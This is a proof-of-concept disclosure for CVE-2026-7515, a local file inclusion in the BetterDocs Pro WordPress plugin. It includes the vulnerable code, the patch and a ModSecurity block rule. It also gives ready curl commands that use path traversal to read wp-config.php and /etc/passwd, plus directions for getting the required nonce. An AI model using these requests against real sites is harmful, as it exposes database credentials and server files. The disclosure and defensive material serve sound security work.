polosss/by-poloss..-..cve-2026-7515-pocUnauthenticated Local File Inclusion
| Field | Value |
|---|
| CVE ID | CVE-2026-7515 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | BetterDocs Pro <= 3.8.0 |
| Patched | 3.8.1 |
| Researcher | Nguyen Ngoc Duc (duc193) |
| Published | June 18, 2026 |
| CWE | CWE-98: Improper Control of Filename for Include/Require Statement |
The BetterDocs Pro plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 3.8.0 via the doc_style parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary PHP files on the server.
File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Line: 141
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Problem: User-controlled input from $_POST['doc_style'] is directly used without any validation.
File: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Line: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Problem: The $doc_style variable (user-controlled) is directly interpolated into the file path passed to views->get(), which includes the file.
HTTP POST Request
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
NO VALIDATION (vulnerable version 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
File Inclusion via include() or require()
↓
Arbitrary PHP Code Execution / File Read
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
| Aspect | Vulnerable (3.8.0) | Patched (3.8.1) |
|---|---|---|
| Validation | None | Whitelist with in_array() |
| Allowed Values | Any string | Only doc-grid, doc-list, doc-list-2 |
| Type Checking | No | Strict (===) comparison |
Both endpoints register with nopriv hooks, meaning they are accessible to unauthenticated users:
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce (found in page source on pages with BetterDocs Encyclopedia block)# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
The encyclopedia_nonce is exposed in JavaScript on pages where BetterDocs Encyclopedia block is rendered:
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- This is what you need
};
| Impact Type | Severity | Description |
|---|---|---|
| Confidentiality | HIGH | Read arbitrary files (wp-config.php, /etc/passwd, etc.) |
| Integrity | HIGH | Modify or delete files |
| Availability | HIGH | Denial of service |
| Access Vector | Network | Exploitable remotely |
| Privileges | None | No authentication required |
| User Interaction | None | Not required |
Update to BetterDocs Pro version 3.8.1 or later
Apply the following patch to includes/Core/Encyclopedia.php:
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Apply the same fix to line 236.
Add rule to block path traversal in doc_style parameter:
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version: betterdocs-pro_3.9.0.zip
Key Files:
- includes/Core/Encyclopedia.php (VULNERABLE)
- includes/Core/Scripts.php (Contains nonce generation)
- includes/Utils/Views.php (File inclusion logic)